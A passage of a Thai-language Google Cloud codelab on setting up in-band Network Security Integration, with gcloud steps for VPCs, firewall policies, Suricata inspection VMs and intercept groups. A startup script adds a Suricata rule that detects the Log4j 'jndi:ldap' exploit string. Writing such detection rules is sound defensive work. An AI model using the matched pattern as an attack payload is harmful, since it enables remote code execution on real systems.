Codelab การผสานรวมการรักษาความปลอดภัยของเครือข่าย (NSI) ในแบนด์

1. บทนำ

การผสานรวมการรักษาความปลอดภัยของเครือข่าย

การผสานรวมการรักษาความปลอดภัยของเครือข่าย (NSI) ช่วยให้คุณมีความยืดหยุ่นในการเพิ่มการรักษาความปลอดภัยของเครือข่ายสำหรับภาระงาน คุณอาจต้องการใช้ประโยชน์จากอุปกรณ์ที่สร้างขึ้นเพื่อวัตถุประสงค์เฉพาะจากผู้จำหน่ายซอฟต์แวร์อิสระ (ISV) บุคคลที่สาม หรือใช้ประโยชน์จากเครื่องมือการตรวจสอบแพ็กเก็ตแบบละเอียด (DPI) เพื่อตรวจสอบเพย์โหลด Google Cloud ช่วยให้คุณติดตั้งอุปกรณ์ได้อย่างโปร่งใสโดยไม่ต้องเปลี่ยนแปลงเครือข่ายหรือการกำหนดเส้นทาง เพื่อให้ผสานรวมกับอุปกรณ์ของบุคคลที่สามเหล่านี้ได้อย่างราบรื่น

Google Cloud มีการผสานรวมการรักษาความปลอดภัยของเครือข่าย 2 รูปแบบ ได้แก่ นอกแบนด์และในแบนด์ แล็บนี้จะอธิบายขั้นตอนในการติดตั้งใช้งานการผสานรวมความปลอดภัยของเครือข่ายในแบนด์

การผสานรวมการรักษาความปลอดภัยของเครือข่ายในช่องสัญญาณเดียวกัน

การผสานรวมความปลอดภัยของเครือข่ายจะให้การผสานรวมในแบนด์โดยใช้เทคโนโลยีการสกัดกั้นแพ็กเก็ต ซึ่งช่วยให้คุณวางอุปกรณ์เครือข่ายของบุคคลที่สามในเส้นทางการจราจรของข้อมูลในเครือข่ายเพื่อตรวจสอบภาระงานของ Google Cloud ได้อย่างโปร่งใส กระบวนการนี้ใช้ Generic Network Virtualization Encapsulation (GENEVE) เพื่อส่งแพ็กเก็ตไปยังอุปกรณ์อย่างปลอดภัยโดยไม่เปลี่ยนที่อยู่ IP ต้นทางและปลายทางเดิม

การผสานรวมในแบนด์นำเสนอแนวทางที่เน้นบริการในการติดตั้งใช้งานและใช้เครื่องมือเครือข่ายแบบอินไลน์ของบุคคลที่สามในโหมด Bump-in-the-Wire ในฐานะผู้ให้บริการ คุณสามารถเผยแพร่ชุดอุปกรณ์เครือข่ายของบุคคลที่สามที่ปรับขนาดได้เป็นการติดตั้งใช้งานการสกัดกั้น ในฐานะผู้ใช้บริการ คุณสามารถใช้นโยบายและกฎของไฟร์วอลล์รุ่นถัดไปของ Cloud เพื่อเลือกการรับส่งข้อมูลแบบละเอียดเพื่อเปลี่ยนเส้นทางไปยังปลายทางการสกัดกั้นในเครื่องอย่างโปร่งใสเพื่อตรวจสอบ

61bfbf754e04cf70.png

รูปที่ 1 สถาปัตยกรรมการติดตั้งใช้งานระดับสูงของบริการผสานรวมในแบนด์

ดูข้อมูลเพิ่มเติมเกี่ยวกับการผสานรวม NSI ในช่องสัญญาณเดียวกันได้ที่ภาพรวมการผสานรวมในช่องสัญญาณเดียวกัน

ผู้ผลิตบริการในแบนด์

ผู้ให้บริการคือที่ที่อุปกรณ์ของบุคคลที่สามได้รับการติดตั้งใช้งานและจัดการ ซึ่งอาจได้รับการจัดการโดยบุคคลในองค์กร (ทีมรักษาความปลอดภัย ฯลฯ) หรือผู้ให้บริการภายนอก ผู้ผลิตจะลงทะเบียนเครื่องเสมือน ซึ่งอาจเป็นอุปกรณ์ของบุคคลที่สาม เป็นแบ็กเอนด์ของ Network Load Balancer แบบส่งผ่านภายในในเครือข่าย VPC อุปกรณ์เหล่านี้จะตรวจสอบการจราจรของข้อมูลในเครือข่ายที่เปลี่ยนเส้นทางไปยังอุปกรณ์ จากนั้นผู้ให้บริการจะสร้างการทำให้ใช้งานได้ของการสกัดกั้น ซึ่งเป็นทรัพยากรที่เข้าถึงได้ในโซนที่ชี้ไปยังกฎการส่งต่อของตัวจัดสรรภาระงานเครือข่ายแบบพาสทรูภายใน

การทำให้ใช้งานได้ของการสกัดกั้นคือทรัพยากรที่เข้าถึงได้ในโซนที่แสดงถึงบริการตรวจสอบของผู้ผลิตสำหรับโซนที่เฉพาะเจาะจง ผู้ผลิตสร้างการติดตั้งใช้งานการสกัดกั้นสำหรับแต่ละโซนที่ได้ติดตั้งใช้งาน VM

กลุ่มการติดตั้งใช้งานการสกัดกั้นเป็นทรัพยากรระดับโลกที่กำหนดขอบเขตโปรเจ็กต์ ซึ่งช่วยให้ผู้บริโภคเชื่อมต่อกับบริการตรวจสอบของผู้ผลิตได้ ผู้ผลิตสร้างกลุ่มการติดตั้งใช้งานการสกัดกั้นเพื่อจัดกลุ่มการติดตั้งใช้งานการสกัดกั้นระดับโซนหลายรายการเข้าด้วยกัน ผู้ผลิตใช้ IAM เพื่อควบคุมผู้บริโภคที่เชื่อมต่อกับกลุ่มการติดตั้งใช้งานได้

ดูข้อมูลเพิ่มเติมได้ที่ภาพรวมกลุ่มการติดตั้งใช้งาน Intercept และภาพรวมการติดตั้งใช้งาน Intercept

ผู้ใช้บริการในแบนด์

ผู้ใช้บริการจะใช้บริการตรวจสอบที่ผู้ผลิตเสนอ ผู้บริโภคระบุ VPC ที่ต้องการตรวจสอบและผู้ผลิตที่ต้องการ โดยผู้ใช้จะสร้างกลุ่มปลายทางการสกัดกั้น ซึ่งเป็นทรัพยากรที่เข้าถึงได้ทั่วโลกที่แสดงถึงฝั่งของผู้ใช้ในความสัมพันธ์แบบผู้ผลิต-ผู้ใช้ และลิงก์กลุ่มปลายทางการสกัดกั้นกับกลุ่มการติดตั้งใช้งานการสกัดกั้นของผู้ผลิต

หากต้องการเชื่อมโยงกลุ่มปลายทางการสกัดกั้นกับ VPC ที่ต้องการให้ตรวจสอบการรับส่งข้อมูล ผู้ใช้จะสร้างการเชื่อมโยงกลุ่มปลายทางการสกัดกั้น หากต้องการเลือกการรับส่งข้อมูลที่ควรส่งไปยังผู้ผลิตเพื่อตรวจสอบ ผู้บริโภคจะต้องสร้างและใช้นโยบายไฟร์วอลล์เครือข่าย ผู้บริโภคสร้างกลุ่มโปรไฟล์ความปลอดภัยที่มีโปรไฟล์ความปลอดภัยซึ่งอ้างอิงกลุ่มปลายทางการสกัดกั้น จากนั้นผู้บริโภคจะสร้างกฎไฟร์วอลล์เพื่อเปลี่ยนเส้นทางการรับส่งข้อมูลที่ตรงกับเกณฑ์ที่เฉพาะเจาะจงไปยังอุปกรณ์ของผู้ผลิต

แม้ว่ากลุ่มปลายทางการสกัดกั้น(IEG) จะเป็นทรัพยากรระดับโปรเจ็กต์ แต่ IEG และการเชื่อมโยง IEG ไม่จำเป็นต้องอยู่ในโปรเจ็กต์เดียวกัน การเชื่อมโยง IEG จากโปรเจ็กต์อื่นๆ ภายในองค์กรสามารถอ้างอิง IEG ได้ ซึ่งแสดงถึงฝั่งผู้บริโภคของความสัมพันธ์ระหว่างผู้ผลิตกับผู้บริโภค ผู้บริโภคสร้างกลุ่มปลายทางการสกัดกั้นเพื่อใช้บริการตรวจสอบของผู้ผลิต กลุ่มปลายทางการสกัดกั้นแต่ละกลุ่มในฝั่งผู้บริโภคจะเชื่อมโยงกับกลุ่มการติดตั้งใช้งานการสกัดกั้นกลุ่มเดียวในฝั่งผู้ผลิต

ดูข้อมูลเพิ่มเติมได้ที่ภาพรวมของกลุ่มและเชื่อมโยงอุปกรณ์ปลายทางของ Intercept

ผู้บริโภคต้องสร้างกฎนโยบายไฟร์วอลล์เพื่อเปลี่ยนเส้นทางการรับส่งข้อมูลไปยังกลุ่มปลายทางการสกัดกั้น ผู้บริโภคสามารถระบุเกณฑ์การจับคู่ภายในกฎนโยบายไฟร์วอลล์ ซึ่งช่วยให้กำหนดได้ว่าจะให้เครื่องใช้ของผู้ผลิตตรวจสอบการรับส่งข้อมูลใด

ผู้บริโภคสร้างโปรไฟล์ความปลอดภัยของการสกัดกั้นที่กำหนดเองเพื่อระบุว่าควรใช้กลุ่มปลายทางการสกัดกั้นใดในการตรวจสอบการรับส่งข้อมูล

ผู้บริโภคสร้างกลุ่มโปรไฟล์ความปลอดภัยเพื่อกำหนดกลุ่มฟีเจอร์การตรวจสอบความปลอดภัยที่ควรใช้กับชุดย่อยของการรับส่งข้อมูลที่เฉพาะเจาะจง กลุ่มโปรไฟล์ความปลอดภัยประกอบด้วยโปรไฟล์ความปลอดภัยการสกัดกั้นที่กำหนดเองรายการเดียว

สิ่งที่คุณจะสร้าง

ea01a16258c792c1.png

รูปที่ 2 สถาปัตยกรรมการติดตั้งใช้งานระดับสูงสำหรับ Codelab นี้

เพื่อให้ Codelab นี้ง่ายต่อการใช้งาน คุณจะใช้โปรเจ็กต์เดียวและสร้างเครือข่าย VPC 2 เครือข่าย รวมถึงจัดการทรัพยากรเครือข่ายและความปลอดภัยจำนวนหนึ่ง แล็บนี้จะแสดงวิธีการทำให้ใช้งานได้การผสานรวมบริการเครือข่ายในแบนด์กับอุปกรณ์ของบุคคลที่สามเพื่อการแทรกความปลอดภัยแบบโปร่งใส

ระบบจะเลือกโฟลว์ที่จะตรวจสอบโดยใช้พารามิเตอร์ที่ตรงกันของไฟร์วอลล์ Cloud ซึ่งรวมถึง 5-tuple (IP ต้นทาง, IP ปลายทาง, โปรโตคอล, พอร์ตต้นทาง, พอร์ตปลายทาง) เพื่อให้ห้องทดลองนี้ใช้งานได้ง่าย คุณจะตรวจสอบการรับส่งข้อมูลขาออกทั้งหมดในพอร์ต TCP 80

ผู้ผลิตจะอนุญาตการรับส่งขาเข้าจาก IP เกตเวย์ซับเน็ต VPC ของผู้ผลิต (10.0.0.1/32) สำหรับแพ็กเก็ต UDP ที่มีพอร์ตปลายทาง 6081 ซึ่งเป็นพอร์ตที่รู้จักกันดีสำหรับ GENEVE

สถานะสุดท้ายของฐานกฎนโยบายไฟร์วอลล์เครือข่ายจะคล้ายกับตารางด้านล่าง

นโยบายเครือข่ายผู้ผลิต

ลำดับความสำคัญ

ทิศทาง

โปรโตคอล

Target

แหล่งที่มา

ปลายทาง

พอร์ตปลายทาง

การดำเนินการ

100

ขาเข้า

ทั้งหมด

ทั้งหมด

การตรวจสอบประสิทธิภาพการทำงาน

ตามแต่ละประเทศ

ตามแต่ละประเทศ

อนุญาต

200

ขาเข้า

ทั้งหมด

ทั้งหมด

IAP

ตามแต่ละประเทศ

ตามแต่ละประเทศ

อนุญาต

300

ขาเข้า

UDP

ทั้งหมด

10.0.0.1/32

ตามแต่ละประเทศ

6081

อนุญาต

นโยบายเครือข่ายผู้บริโภค:

ลำดับความสำคัญ

ทิศทาง

โปรโตคอล

Target

แหล่งที่มา

ปลายทาง

พอร์ตปลายทาง

การดำเนินการ

200

ขาเข้า

TCP

ทั้งหมด

IAP

ตามแต่ละประเทศ

22

อนุญาต

800

ขาออก

TCP

ทั้งหมด

ตามแต่ละประเทศ

ตามแต่ละประเทศ

80

สกัดกั้น

สิ่งที่คุณจะได้เรียนรู้

  • วิธีทำให้ใช้งานได้การผสานรวมการรักษาความปลอดภัยของเครือข่ายในช่องสัญญาณเดียวกัน

สิ่งที่คุณต้องมี

  • องค์กรและโปรเจ็กต์ Google Cloud
  • สิทธิ์ IAM ที่เหมาะสม
  • ความรู้เกี่ยวกับการติดตั้งใช้งานอินสแตนซ์และการกำหนดค่าคอมโพเนนต์เครือข่าย
  • ความรู้เกี่ยวกับการกำหนดค่าไฟร์วอลล์ของนโยบายเครือข่าย

2. ก่อนเริ่มต้น

บทบาทและสิทธิ์ของ IAM

หากต้องการทำ Codelab การผสานรวมการรักษาความปลอดภัยของเครือข่าย (NSI) ในช่องสัญญาณเดียวกันให้เสร็จสมบูรณ์ คุณจะต้องมีบทบาท IAM ต่อไปนี้

  • ผู้ดูแลระบบเครือข่าย Compute (roles/compute.networkAdmin): ต้องใช้ในการสร้างและจัดการเครือข่าย VPC, ซับเน็ต, Cloud Router, เกตเวย์ NAT และบริการแบ็กเอนด์ของตัวจัดสรรภาระงาน
  • ผู้ดูแลระบบความปลอดภัยของ Compute (roles/compute.securityAdmin): จำเป็นสำหรับการสร้าง กำหนดค่า และเชื่อมโยงนโยบายและกฎไฟร์วอลล์เครือข่ายส่วนกลาง
  • ผู้ดูแลระบบอินสแตนซ์ Compute (roles/compute.instanceAdmin.v1): ต้องใช้ในการทำให้ใช้งานได้, SSH ไปยัง และลบอุปกรณ์ Suricata และ VM สำหรับการทดสอบของผู้บริโภคในที่สุด
  • ผู้ดูแลการติดตั้งใช้งานการสกัดกั้น (roles/networksecurity.interceptDeploymentAdmin): ใช้โดยผู้ผลิตเพื่อสร้างและจัดการการติดตั้งใช้งานการสกัดกั้นระดับโซนและกลุ่มการติดตั้งใช้งานทั่วโลก
  • Intercept Endpoint Admin (roles/networksecurity.interceptEndpointAdmin): ผู้บริโภคใช้เพื่อสร้างกลุ่มอุปกรณ์ปลายทางการสกัดกั้นและเชื่อมโยงกับเครือข่าย VPC
  • ผู้ใช้การติดตั้งใช้งานการสกัดกั้น (roles/networksecurity.interceptDeploymentUser): ต้องมีในโปรเจ็กต์ผู้ผลิตเพื่อมอบสิทธิ์ให้ผู้บริโภคเชื่อมต่อกับกลุ่มการติดตั้งใช้งานของผู้ผลิต
  • ผู้ดูแลระบบโปรไฟล์ความปลอดภัย (roles/networksecurity.securityProfileAdmin): ต้องมีที่ระดับองค์กรเพื่อสร้างและจัดการโปรไฟล์ความปลอดภัยที่กำหนดเองและกลุ่มโปรไฟล์ความปลอดภัย
  • ผู้ดูแลการใช้บริการ (roles/serviceusage.serviceUsageAdmin): จำเป็นต่อการเปิดใช้ API ของ networksecurity.googleapis.com และ compute.googleapis.com ที่จำเป็นสำหรับฟีเจอร์ NSI
  • ผู้มีสิทธิ์ดูโปรเจ็กต์ (roles/viewer): จำเป็นต้องใช้เพื่อดึงข้อมูลการกำหนดค่าโปรเจ็กต์และลำดับชั้นขององค์กรสำหรับตัวแปรสภาพแวดล้อมที่ใช้ทั่วทั้งแล็บ

Google Cloud APIs

โปรดตรวจสอบว่าได้เปิดใช้ Google Cloud API ที่จำเป็นในโปรเจ็กต์แล้ว

เปิดใช้ API ที่จำเป็นโดยเรียกใช้คำสั่ง gcloud ต่อไปนี้ภายใน Cloud Shell

gcloud services enable compute.googleapis.com \
networksecurity.googleapis.com \
cloudresourcemanager.googleapis.com

สร้าง/อัปเดตตัวแปร

Codelab นี้ใช้ $variables เพื่อช่วยในการติดตั้งใช้งานการกำหนดค่า gcloud ใน Cloud Shell

ใน Cloud Shell ให้เรียกใช้คำสั่งด้านล่างโดยแทนที่ข้อมูลภายในวงเล็บตามที่จำเป็น

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zonea=[first-zone from $region]
export zoneb=[second-zone from $region]
export zonec=[third-zone from $region]

3. การดำเนินการของผู้ผลิต

ส่วนนี้จะครอบคลุมด้านการติดตั้งใช้งานของโปรดิวเซอร์ ซึ่งรวมถึงการติดตั้งใช้งาน VPC, อุปกรณ์เสมือนเครือข่ายของบุคคลที่สาม และคอมโพเนนต์ที่เกี่ยวข้องทั้งหมดสำหรับการผสานรวมความปลอดภัยของเครือข่าย

คอมโพเนนต์ VPC และ Cloud NAT

  1. สร้าง VPC และซับเน็ต
gcloud compute networks create producer-vpc --subnet-mode=custom 

gcloud compute networks subnets create producer-$region-subnet \
   --range=10.0.0.0/24 --network=producer-vpc --region=$region
  1. รับ IP เกตเวย์ของซับเน็ตเพื่อใช้กับกฎไฟร์วอลล์
export gatewayip=$(gcloud compute networks subnets list --project=$project_id --network=producer-vpc --format=json | jq -r '.[0].gatewayAddress')
  1. สร้างนโยบายและกฎ FW สำหรับ VPC ของผู้ผลิต กฎ FW เหล่านี้จะอนุญาตการรับส่งข้อมูลขาเข้าสำหรับการตรวจสอบประสิทธิภาพการทำงาน, IAP และการรับส่งข้อมูลที่มาจาก NSI
gcloud compute network-firewall-policies create producer-fwpolicy \
  --global
                                                      
gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from ilb health-check ranges" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80 \
        --direction=INGRESS \
        --src-ip-ranges=35.191.0.0/16,130.211.0.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

gcloud compute network-firewall-policies rules create 300 \
        --description="allow GENEVE UDP:6081 packets from gateway" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=udp:6081 \
        --direction=INGRESS \
        --src-ip-ranges=$gatewayip
 
  1. เชื่อมโยง VPC ของผู้ผลิตกับนโยบายไฟร์วอลล์เครือข่าย
gcloud compute network-firewall-policies associations create \
        --firewall-policy producer-fwpolicy \
        --network producer-vpc \
        --name producer-fwpolicy-association \
        --global-firewall-policy
  1. ทำให้ใช้งานได้ Cloud Router และ Cloud NAT สำหรับอุปกรณ์เสมือนเครือข่าย (NVA) ของบุคคลที่สามเพื่อดาวน์โหลดแพ็กเกจและการอัปเดตที่จำเป็น
gcloud compute addresses create producer-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$region-cloudnatip --format="value(address)")

gcloud compute routers create producer-$region-cr \
  --region=$region --network=producer-vpc

gcloud compute routers nats create producer-cloudnat-$region \
   --router=producer-$region-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=producer-$region-cloudnatip

VM ของบุคคลที่สาม

สำหรับแล็บนี้ คุณจะติดตั้งใช้งาน Suricata ซึ่งเป็นบริการตรวจหาภัยคุกคามแบบโอเพนซอร์ส คำสั่งนี้มีสคริปต์การเริ่มต้นที่จะติดตั้งและกำหนดค่า Suricata นอกจากนี้ ยังมี iptables ที่ทำหน้าที่ Source Network Address Translation (SNAT) และ Destination Network Address Translation (DNAT) สำหรับการจัดการและการตอบสนองต่อแพ็กเก็ต GENEVE

  1. ติดตั้งใช้งาน NVA ของบุคคลที่สามในโซนแรก
gcloud compute instances create suricata-$zonea \
   --shielded-secure-boot \
   --subnet=producer-$region-subnet \
   --no-address \
   --private-network-ip 10.0.0.3 \
   --zone $zonea \
   --metadata startup-script='#! /bin/bash
      sudo sysctl -w net.ipv4.ip_forward=1
        apt-get update
        apt-get install nginx suricata tcpdump -y
      sudo suricata-update
      sudo systemctl stop suricata
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
      sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
      sudo iptables -I FORWARD -j NFQUEUE
      sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
      sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
      sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
     sudo systemctl daemon-reload
     sudo systemctl stop suricata
     sleep 5
     sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
     sleep 10
'
  1. ติดตั้งใช้งาน NVA ของบุคคลที่สามในโซนที่ 2 โดยทำดังนี้
gcloud compute instances create suricata-$zoneb \
   --shielded-secure-boot \
   --subnet=producer-$region-subnet \
   --no-address \
   --private-network-ip 10.0.0.4 \
   --zone $zoneb \
   --metadata startup-script='#! /bin/bash
      sudo sysctl -w net.ipv4.ip_forward=1
        apt-get update
        apt-get install nginx suricata tcpdump -y
      sudo suricata-update
      sudo systemctl stop suricata
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
      sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
      sudo iptables -I FORWARD -j NFQUEUE
      sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
      sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
      sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
     sudo systemctl daemon-reload
     sudo systemctl stop suricata
     sleep 5
     sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
     sleep 10
'

คอมโพเนนต์ตัวจัดสรรภาระงานของโปรดิวเซอร์

  1. สร้างการตรวจสอบประสิทธิภาพการทำงานทั่วไปที่ใช้เพื่อตรวจสอบความพร้อมใช้งานของ NVA ของบุคคลที่สาม
gcloud compute health-checks create http nva-hc
  1. สร้างกลุ่มอินสแตนซ์ที่ไม่มีการจัดการระดับโซนสำหรับแต่ละโซน
gcloud compute instance-groups unmanaged create producer-$zonea-uig \
   --zone $zonea

gcloud compute instance-groups unmanaged create producer-$zoneb-uig \
   --zone $zoneb
  1. เพิ่มอินสแตนซ์ลงในกลุ่มอินสแตนซ์
gcloud compute instance-groups unmanaged add-instances producer-$zonea-uig --instances=suricata-$zonea --zone=$zonea

gcloud compute instance-groups unmanaged add-instances producer-$zoneb-uig --instances=suricata-$zoneb --zone=$zoneb

ตรวจสอบว่ากลุ่มอินสแตนซ์มีอินสแตนซ์ของคุณด้วยคำสั่งต่อไปนี้

gcloud compute instance-groups unmanaged list-instances producer-$zonea-uig --zone=$zonea

gcloud compute instance-groups unmanaged list-instances producer-$zoneb-uig --zone=$zoneb

ตัวอย่างเอาต์พุต

NAME: suricata-$zonea
STATUS: RUNNING

NAME: suricata-$zoneb
STATUS: RUNNING
  1. สร้างบริการแบ็กเอนด์ UDP ภายใน
gcloud compute backend-services create producer-bes \
  --protocol=UDP \
  --region=projects/$project_id/regions/$region \
  --health-checks=projects/$project_id/global/healthChecks/nva-hc \
  --load-balancing-scheme=INTERNAL
  1. เพิ่มทั้ง 2 กลุ่มอินสแตนซ์ลงในบริการแบ็กเอนด์
gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zonea/instanceGroups/producer-$zonea-uig --region=$region

gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zoneb/instanceGroups/producer-$zoneb-uig --region=$region
  1. สำรอง IP ภายในสำหรับกฎการส่งต่อ การติดตั้งใช้งานการสกัดกั้นแต่ละครั้งต้องมีกฎการส่งต่อที่ไม่ซ้ำกัน ดังนี้
gcloud compute addresses create producer-fr-$zonea-ip \
    --region $region --subnet producer-$region-subnet \
    --addresses 10.0.0.11

gcloud compute addresses create producer-fr-$zoneb-ip \
    --region $region --subnet producer-$region-subnet \
    --addresses 10.0.0.12
  1. สร้างกฎการส่งต่อสำหรับแต่ละโซน ต้องระบุเนื่องจากการติดตั้งใช้งานการสกัดกั้นต้องมีกฎการส่งต่อที่ไม่ซ้ำกัน
gcloud compute forwarding-rules create producer-fr-$zonea \
  --ip-protocol=UDP --address=10.0.0.11 \
  --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \
  --ip-version=IPV4 \
  --ports=6081 \
  --load-balancing-scheme=INTERNAL \
  --region=projects/$project_id/regions/$region \
  --network=projects/$project_id/global/networks/producer-vpc \
  --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet
  
gcloud compute forwarding-rules create producer-fr-$zoneb \
  --ip-protocol=UDP --address=10.0.0.12 \
  --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \
  --ip-version=IPV4 \
  --ports=6081 \
  --load-balancing-scheme=INTERNAL \
  --region=projects/$project_id/regions/$region \
  --network=projects/$project_id/global/networks/producer-vpc \
  --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet

คอมโพเนนต์การผสานรวมการรักษาความปลอดภัยของเครือข่าย

  1. สร้างกลุ่มการติดตั้งใช้งานการสกัดกั้น
gcloud network-security intercept-deployment-groups create producer-nsi-deployment-group \
    --location global \
    --no-async \
    --network producer-vpc

ตรวจสอบว่าสร้างกลุ่มการนำส่งสำเร็จแล้ว

gcloud network-security intercept-deployment-groups describe producer-nsi-deployment-group \
    --location global

เอาต์พุตตัวอย่าง

createTime: '2025-01-16T06:13:48.075183628Z'
name: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
network: projects/$project_id/global/networks/producer-vpc
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:13:50.556947138Z'
  1. สร้างการติดตั้งใช้งานการสกัดกั้นสำหรับแต่ละโซน
gcloud network-security intercept-deployments create nsi-deployment-$zonea \
    --location $zonea \
    --forwarding-rule producer-fr-$zonea \
    --forwarding-rule-location $region \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group


gcloud network-security intercept-deployments create nsi-deployment-$zoneb \
    --location $zoneb \
    --forwarding-rule producer-fr-$zoneb \
    --forwarding-rule-location $region \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group

ตรวจสอบว่าสร้างการติดตั้งใช้งานการสกัดกั้นสำเร็จแล้ว

gcloud network-security intercept-deployments describe nsi-deployment-$zonea \
    --location $zonea

gcloud network-security intercept-deployments describe nsi-deployment-$zoneb \
    --location $zoneb

ตัวอย่างเอาต์พุต

createTime: '2025-01-16T06:27:08.834875130Z'
forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/$zonea/interceptDeployments/nsi-deployment-$zonea
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:34:14.401072601Z'


createTime: '2025-01-16T06:33:47.798469786Z'
forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr-$zoneb
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/us-west1-b/interceptDeployments/nsi-deployment-$zoneb
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:34:25.258447474Z'

ขอแสดงความยินดี คุณตั้งค่าฝั่งโปรดิวเซอร์เสร็จสมบูรณ์แล้ว จากนั้นคุณจะกำหนดค่าฝั่งผู้บริโภคเพื่อสกัดกั้นการรับส่งข้อมูลและส่งไปยังอุปกรณ์ของบุคคลที่สามอย่างโปร่งใสเพื่อบังคับใช้

4. การดำเนินการของผู้บริโภค

แม้ว่า Lab นี้จะใช้ VPC แยกต่างหากภายในโปรเจ็กต์เดียวเพื่อให้ง่าย แต่ในสภาพแวดล้อมจริง ทรัพยากรผู้ผลิตและผู้บริโภคอาจอยู่ในโปรเจ็กต์ที่แตกต่างกันหรือแม้แต่ในองค์กรที่แตกต่างกัน

คอมโพเนนต์ VPC และ Cloud NAT

  1. สร้าง VPC และซับเน็ต
gcloud compute networks create consumer-vpc --subnet-mode=custom 

gcloud compute networks subnets create consumer-$region-subnet \
   --range=192.168.0.0/24 --network=consumer-vpc --region=$region
  1. สร้าง Cloud Router และเกตเวย์ Cloud NAT
gcloud compute addresses create consumer-$region-cloudnatip \
     --region=$region

export cloudnatip=$(gcloud compute addresses list \
     --filter=name:consumer-$region-cloudnatip \
     --format="value(address)")

gcloud compute routers create consumer-$region-cr \
    --region=$region \
    --network=consumer-vpc

gcloud compute routers nats create consumer-cloudnat-$region \
   --router=consumer-$region-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=consumer-$region-cloudnatip

กลุ่มอุปกรณ์ปลายทางและการเชื่อมโยงการสกัดกั้น

  1. สร้างกลุ่มปลายทางการสกัดกั้น
gcloud network-security intercept-endpoint-groups create nsi-endpoint-group \
    --location global \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group

การตรวจสอบว่าสร้างปลายทางสำเร็จ

gcloud network-security intercept-endpoint-groups describe nsi-endpoint-group \
    --location global 

เอาต์พุตตัวอย่าง

createTime: '2025-01-16T06:37:10.620185836Z'
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:37:22.707994466Z'
